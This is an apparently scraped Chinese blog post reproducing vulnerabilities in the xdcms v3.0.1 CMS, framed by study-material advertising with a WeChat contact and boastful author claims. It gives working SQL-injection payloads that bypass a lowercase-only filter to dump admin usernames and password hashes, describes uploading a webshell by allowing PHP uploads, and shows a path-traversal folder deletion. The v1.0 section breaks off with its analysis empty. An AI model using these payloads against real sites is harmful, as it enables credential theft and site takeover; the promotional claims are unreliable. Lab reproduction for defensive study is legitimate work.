xdcms漏洞合集-漏洞复现_xdcms漏洞复现,2024年最新写给正在求职的网络安全开发

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

漏洞分析

漏洞复现

getshell

任意文件删除

xdcms订餐网站管理系统v1.0漏洞

简介

环境搭建

全局变量的覆盖

漏洞分析

漏洞复现

后台任意源码读取

后台getshell

漏洞分析

漏洞复现


xdcms v3.0.1漏洞
环境搭建

1.xdcms_3.0.1 源码,放到WWW目录下面。
源码下载地址:
链接:https://pan.baidu.com/s/1JDRfeyPbbpF5br9t6pcNSw
提取码:zkaq
2.安装,访问( http://127.0.0.1/xdcms_v3.0.1/install/index.php) 一路选择下一步,直到设置页面,创建数据库……安装完成。

图片

图片

输入数据库账号密码(可以选择新建个数据库 xdcms ,不新建也可以,输入数据库的名称即可),点击进行下一步进行网站简单的设置
可以看到安装成功,请牢记您的管理员账户:xdcms , 密码 xdcms,进入后台管理。

图片

代码审计
目录总览

首先可以拿出来 代码审计工具—Seay源代码审计系统进行自动审计,先看一下哪里容易出问题,从而可以不那么盲目。
发现 xdcms 的目录很简单,包括后台 admin ,cache , data , 系统system ,上传uploadfile。自动扫描出了171个可疑漏洞。

图片

这里目录并不是很复杂,也没有采用thinkphp的框架,自己搭建的框架,因此代码还是很容易读懂的!
首先看到目录,先要找数据库文件,是不是存在默认的下载路径,如果通过这种方法,我们就能直接拿到管理员账号密码,那后续就不需要审计什么了。

图片

这里没有什么默认的mdb文件或是sql文件,backup里也为空,因此唯一可能有用的就是config.inc.php文件,但是因为是php,肯定是不显示的,因此这里不存在此类漏洞。
下面我们可以猜测admin肯定是管理员目录,cache为缓存,估计也没什么用。。
install为安装目录,经常出现的就是任意文件删除漏洞,然后利用这种漏洞删除install目录下的lock文件,导致cms可以进行重装。
system目录应该就是整个网站的组成文件,这个文件夹应该是审计的重点!
最后是一个上传文件的目录,这个看看有没有任意文件上传漏洞吧。

配置文件总览

下面先看看有哪些配置文件,哪些文件经常引用到,这类文件往往会贯穿整个网站构建过程,一些重要的过滤函数也一般在这类文件中。

这是index.php文件,我们可以看到两个配置文件,下面逐步跟着这些配置文件进行审计。


<?php

if(!file_exists("data/config.inc.php")){header("location:install/index.php");exit();}

require dirname(__FILE__).'/system/common.inc.php';

?>

进入config.inc.php文件,主要是数据库配置信息。会看到用的是utf-8字符,因此不存在宽字节注入。

图片

进入system/common.inc.php文件,应该是整个网站的构架文件,可以看到之前说的system目录为系统目录,另外我们需要注意,在最下面一行,又引用了一个fun.inc.php文件,应该是function的配置文件,这类文件往往就是过滤函数的聚集地。

图片

继续仔细看看fun.inc.php文件。这是fun.inc.php的一部分,可以看到这里有两个过滤函数,一个应该是xss过滤,一个是sql过滤。但是这里sql过滤只匹配了小写,因此我们可以利用大小写来进行绕过。因此如果使用了这个safe_html()函数,并且进入了数据库查询,那么这里就一定存在sql注入。

图片

登陆处sql注入
漏洞分析

全局搜索safe_html,很多地方都调用了 但不是所以都存在注入,因为有些地方存在safe_replace与invtal的保护index.php?m=member&f=login_save
没办法绕过,且xdcms会员管理界面(但是我们暂时不能利用,因为实际我们不知道管理后台账号
member会员界面(单引号包裹且传参只经过safe_html过滤…且开启了报错提示,那就可用报错注入)可以利用报错注入,只要是只将safe_html带入数据库的查询则存在注入,这样就能查询出admin表里面的管理员信息。

/system/module/member/index

图片

上面的程序也不是很难读,可以看到POST接收过来登录的账号密码,然后通过 safe_html() 函数 进行过滤,判断是否为空,进而在103行直接带入数据库查询。这里仅仅通过 safe_html() 函数进行了过滤,所以很显然是存在注入的。

漏洞复现

payload:

username=bestorange'or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&submit=+%E7%99%BB+%E5%BD%95+

图片

注册处sql注入漏洞
漏洞分析

现在先熟悉一下流程,可以看到能够进行注册登录。
那就注册一个账号orange,密码orange。

图片

图片

上面看到密码是进行了两次md5加密,接下来看一下代码。
/system/modules/member/index.php

图片

上面的代码很容易读懂,函数是register_save(),注册保存。首先POST接收传过来的参数,判断是不是为空。
66行密码进行两次md5加密,可以看到并没有进行明显的过滤,但是在50行和72行看到了过滤函数safe_html(),下面就开始追踪一下这个函数。


function safe_html($str){

if(empty($str)){return;}

$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file

|outfile/','',$str);

return htmlspecialchars($str);

}

分析一下这个过滤函数,只是简单的把上面看到的 select ,insert,update 等等替换成了空。
在 safe_html 处虽然过了个SQL注入的敏感词,还过滤了=和*,但是没有考虑SQL注入敏感词的大小写,这里只过滤了小写,那么我们用大写绕过,这里过滤的=和*,我们可以使用不带*和=的常规保存SQL注入语句。

漏洞复现

这里利用报错注入来进行测试,bestorange’ or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange

payload:

username=bestorange' or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&password2=bestorange&fields%5Btruename%5D=bestorange&fields%5Bemail%5D=bestorange&submit=+%E6%B3%A8+%E5%86%8C+

图片

getshell

跟着uploadfile文件夹寻找文件上传点,对上传文件后缀进行了限制。
利用admin后台限制的文件格式更改即可上传木马getshell,也可利用上传文件后进行修改后缀。system/function/upload.inc.php(文中有多个文件上传的点)

通过上面注入得到的管理员的账号密码登录后台,成功进入后台管理系统,在 系统设置—>网站配置—>上传设置—>文件/图片上传格式限制。
添加php文件类型,然后进行上传即可。

图片

图片

任意文件删除

全局搜file_get_contents意外收获了unlink任意目录文件删除index.php?m=xdcms&c=data&f=delete&file=…/…/test

public function delete(){

$file=trim($_GET["file"]);

$dir=DATA_PATH.'backup/'.$file;

if(is_dir($dir)){

//删除文件夹中的文件

if (false != ($handle = opendir ( $dir ))) {

while ( false !== ($file = readdir ( $handle )) ) {

if ($file != "." && $file != ".."&&strpos($file,".")) {

@unlink($dir."/".$file);

}

}

closedir ( $handle );

}



@rmdir($dir);//删除目录

}

showmsg(C('success'),'-1');

}

这传入的参数没有过滤也没有白名单,直接拼接进dir,要想触发循环就得进行if判断,所以这里只能是…/进行目录遍历可控进行任意文件夹删除。

xdcms订餐网站管理系统v1.0漏洞
简介

XDcms订餐网站管理系统,主要使用Php+Mysql+Smarty技术基础进行开发,采用OOP(面向对象)方式进行基础运行框架搭建,集成在线订餐、团购、积分商城、优惠券、新闻、在线订单、在线支付、生成订单短信/邮箱通知、点评、Google电子地图、问答、并与支付宝、Dz论坛、短信平台接口完美整合等功能于一体的完全开源的高级订餐网站管理系统。作为国内最受欢迎的PHP类订餐网站系统之一,XDcms在不断提升用户服务、提高产品质量的同时更加注重用户体验。从系统研发至今,历经了数百次的更新修改后,网站的架设与管理变得更加轻松及便捷。

环境搭建

图片

图片

图片

全局变量的覆盖
漏洞分析

/ install/index.php

一、网安学习成长路线图

网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
在这里插入图片描述

二、网安视频合集

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述

三、精品网安学习书籍

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
在这里插入图片描述

四、网络安全源码合集+工具包

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
在这里插入图片描述

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块
在这里插入图片描述在这里插入图片描述

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

里插入图片描述](https://img-blog.csdnimg.cn/15c1192cad414044b4dd41f3df44433d.png)在这里插入图片描述

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-5FUxaY85-1713189850372)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 22
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值